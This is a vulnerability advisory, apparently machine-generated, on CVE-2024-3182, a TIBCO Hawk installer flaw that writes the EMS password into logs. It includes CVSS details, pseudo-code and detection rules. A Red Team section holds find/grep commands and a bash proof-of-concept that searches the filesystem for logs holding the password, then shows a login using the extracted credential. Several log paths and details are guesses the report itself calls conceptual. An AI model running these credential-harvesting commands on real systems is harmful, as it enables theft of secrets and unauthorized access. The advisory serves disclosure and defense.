CVE-2024-3182

Executive Summary

CVE-2024-3182 is a medium-severity vulnerability affecting TIBCO Hawk versions 6.2.0 through 6.2.3. The flaw resides in the Universal Installer, including the Silent Installer, and allows a user's Enterprise Message Service (EMS) password to be exposed outside of the intended configuration files (hawkagent.cfg and hawkevent.cfg). This exposure occurs during the installation process, where the password may be written to log files, temporary files, or other insecure locations. An attacker with local access or the ability to read installation artifacts could retrieve the EMS password, leading to unauthorized access to the messaging infrastructure. The vulnerability has a CVSS score of 6.5 (Medium) and currently has no known public exploit or patch.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a software installation flaw in a proprietary enterprise product (TIBCO Hawk). The risk is primarily to organizations that deploy TIBCO Hawk in their environment, as the installer itself leaks credentials.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
• Attack Vector (AV): Local – The attacker must have local access to the system or be able to read installation logs.
• Attack Complexity (AC): Low – No special conditions are required to exploit the vulnerability.
• Privileges Required (PR): Low – The attacker needs low-level privileges (e.g., a standard user) to read the exposed files.
• User Interaction (UI): None – No user action is required beyond the installation process.
• Scope (S): Unchanged – The vulnerability does not affect other components.
• Confidentiality (C): High – The EMS password is fully exposed.
• Integrity (I): None – No data modification is possible.
• Availability (A): None – No impact on system availability.

Threat Level: Medium. While the CVSS score is moderate, the exposure of credentials (EMS password) can lead to lateral movement and further compromise of the messaging infrastructure.

Deep Dive & Mechanics

The vulnerability is rooted in the TIBCO Hawk Universal Installer, which is used to deploy Hawk agents and event services. During installation, the installer prompts for the Enterprise Message Service (EMS) password. Due to a flaw in the installer's logging or temporary file handling, this password is written to locations outside the intended configuration files (hawkagent.cfg and hawkevent.cfg). Specifically, the password may be:

• Written to installation log files (e.g., install.log, silent_install.log).
• Stored in temporary files that are not properly cleaned up.
• Passed as a command-line argument in clear text, which can be captured by process monitoring tools.

The Silent Installer mode, which is used for automated deployments, is particularly vulnerable because it often logs all input parameters for debugging purposes. An attacker with local access to the system (or access to backup/log archives) can retrieve the EMS password from these insecure locations.

Attack Scenario:

1. An administrator installs TIBCO Hawk using the Universal Installer (or Silent Installer).
2. The installer writes the EMS password to a log file (e.g., /var/log/tibco_install.log).
3. An attacker with low-privileged access to the system reads the log file.
4. The attacker uses the EMS password to connect to the TIBCO EMS server, potentially gaining access to message queues and other sensitive data.

Vulnerable vs. Patched Code

Since no patch is available, a code-level comparison is not possible. However, the vulnerable behavior can be described:

Vulnerable Code (Conceptual):

# Pseudo-code for vulnerable installer
def install_hawk(ems_password):
    log_file = open("install.log", "w")
    log_file.write("Installing TIBCO Hawk...\n")
    log_file.write("EMS Password: " + ems_password + "\n")  # Vulnerability: password logged
    # ... rest of installation
    log_file.close()

Patched Code (Expected):

# Pseudo-code for patched installer
def install_hawk(ems_password):
    log_file = open("install.log", "w")
    log_file.write("Installing TIBCO Hawk...\n")
    # Password should not be logged
    # Instead, use a secure method to pass the password
    # ... rest of installation
    log_file.close()

The fix would involve removing any logging of the EMS password and ensuring that temporary files containing the password are securely deleted.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A system running TIBCO Hawk 6.2.0-6.2.3.
• Low-privileged access to the system (e.g., SSH access as a standard user).
• The installation must have been performed using the Universal Installer or Silent Installer.

Exploitation Steps:

1. Identify Installation Logs:

   find / -name "*.log" -type f 2>/dev/null | xargs grep -l "TIBCO Hawk" 2>/dev/null
   

2. Extract EMS Password:

   grep -r "EMS Password" /var/log/ 2>/dev/null
   grep -r "ems_password" /tmp/ 2>/dev/null
   

3. Use the Password:

   # Connect to EMS server using the extracted password
   tibemsadmin -server <ems_host>:<port> -user admin -password <extracted_password>
   

Automated Script (Proof of Concept):

#!/bin/bash
# CVE-2024-3182 PoC - Extract EMS password from TIBCO Hawk installation logs
echo "[*] Searching for TIBCO Hawk installation logs..."
for log in $(find / -name "*.log" -type f 2>/dev/null); do
    if grep -q "TIBCO Hawk" "$log" 2>/dev/null; then
        echo "[+] Found log: $log"
        grep -i "ems.*password\|password.*ems" "$log" 2>/dev/null
    fi
done

Blue Team (Detection & Defense)

Detection:

• Monitor for access to installation log files (e.g., install.log, silent_install.log).
• Alert on any process reading these log files that is not the installer itself.
• Use file integrity monitoring (FIM) to detect unauthorized reads of log files.

Defense:

• Immediate: Restrict access to installation logs to only administrators.
• Mitigation: After installation, manually delete or securely overwrite any log files that may contain the EMS password.
• Workaround: Use a secure vault or environment variables to pass the EMS password during installation, if supported.

Indicators of Compromise (IOCs)

• File Paths:
  • /var/log/tibco_install.log
  • /tmp/tibco_install.log
  • C:\Program Files\TIBCO\Hawk\logs\install.log
  • C:\Users\<user>\AppData\Local\Temp\tibco_install.log
• Strings in Logs:
  • EMS Password:
  • ems_password=
  • -password <plaintext>
• Process Names:
  • installer.exe (Windows)
  • install.sh (Linux)
• Network Connections:
  • Unauthorized connections to the TIBCO EMS server (port 7222 by default) from unexpected hosts.

Detection Engineering

YARA Rule

rule CVE_2024_3182_TIBCO_Hawk_Password_Leak {
    meta:
        description = "Detects TIBCO Hawk installation logs containing EMS password"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-3182"
    strings:
        $s1 = "EMS Password:" ascii wide nocase
        $s2 = "ems_password=" ascii wide nocase
        $s3 = "TIBCO Hawk" ascii wide nocase
    condition:
        any of ($s1, $s2) and $s3
}

Sigma Rule

title: TIBCO Hawk EMS Password Exposure via Installation Logs
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects access to TIBCO Hawk installation logs that may contain EMS passwords
author: Valters IT
date: 2025-04-10
logsource:
    category: file_event
    product: windows
    service: sysmon
detection:
    selection:
        Image|endswith:
            - '\notepad.exe'
            - '\cmd.exe'
            - '\powershell.exe'
        TargetFilename|contains:
            - 'tibco_install.log'
            - 'silent_install.log'
    condition: selection
falsepositives:
    - Legitimate administrative access
level: medium

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET 7222 (msg:"CVE-2024-3182 TIBCO Hawk EMS Password Exposure - Unauthorized EMS Connection"; flow:to_server,established; content:"|00 00 00 00|"; depth:4; content:"admin"; nocase; within:20; reference:cve,2024-3182; classtype:attempted-user; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Restrict Access: Ensure that only authorized administrators have read access to installation logs and temporary files.
2. Clean Up: After installation, delete or securely overwrite any log files that may contain the EMS password.
3. Change Passwords: Immediately change the EMS password if there is any suspicion of exposure.

Long-Term Fix:

• Patch: Await an official patch from TIBCO. Monitor the TIBCO support portal for updates.
• Workaround: Use a secure method to pass the EMS password during installation, such as environment variables or a secure vault, if supported by the installer.
• Audit: Review all systems where TIBCO Hawk was installed using the vulnerable installer and ensure no password remnants exist.

Valters IT Signature

This report was generated by Valters IT DevSecOps & CTI Expert System.